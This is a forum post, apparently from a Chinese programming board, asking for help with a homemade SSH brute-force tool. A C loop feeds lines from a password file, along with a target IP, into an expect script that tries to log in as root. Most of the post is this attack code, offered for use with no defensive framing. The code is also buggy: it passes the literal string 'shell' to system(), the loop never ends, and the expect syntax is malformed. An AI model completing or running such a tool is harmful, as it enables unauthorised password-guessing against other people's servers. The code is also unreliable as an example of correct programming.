#include
#include
int main(int argc,char**argv){
FILE* fp=NULL;
fp=fopen("passwd.txt","r");
char buff[20];
int i;
for(i=0;;i++){
memset(buff,0,sizeof(buff));
if(fp==NULL)
break;
fgets(buff,20,fp);
printf("%s",buff);
char shell[200];
sprintf(shell,"/home/hht/workspeace/work1/ssh.sh %s %s",argv[1],buff);
system("shell");
}
}
我想实现一个暴力破解ssh的小程序,但是完全不会shell,也只能硬着头皮用了,上面的C部分我想把passwd上的每一行代码fgets出来,然后连带ip作为参数传进shell里面,可能是在system调用shell的时候出的问题,当然也可能所有都有问题。
下面是shell的代码
#!/usr/bin/expect -f
set passwd $2
#密码
set host $1
#目标主机地址
set name root
#用户名
spawn ssh $host -l $name
expect "root@$host’s password:"
send "$passwd\r"
send"uname\n"
expect"LINUX"
send_user"success"
expect"Permission denied,please try again."
send_user"wrongnumber"
~
用expect这样可以吗,谢谢大家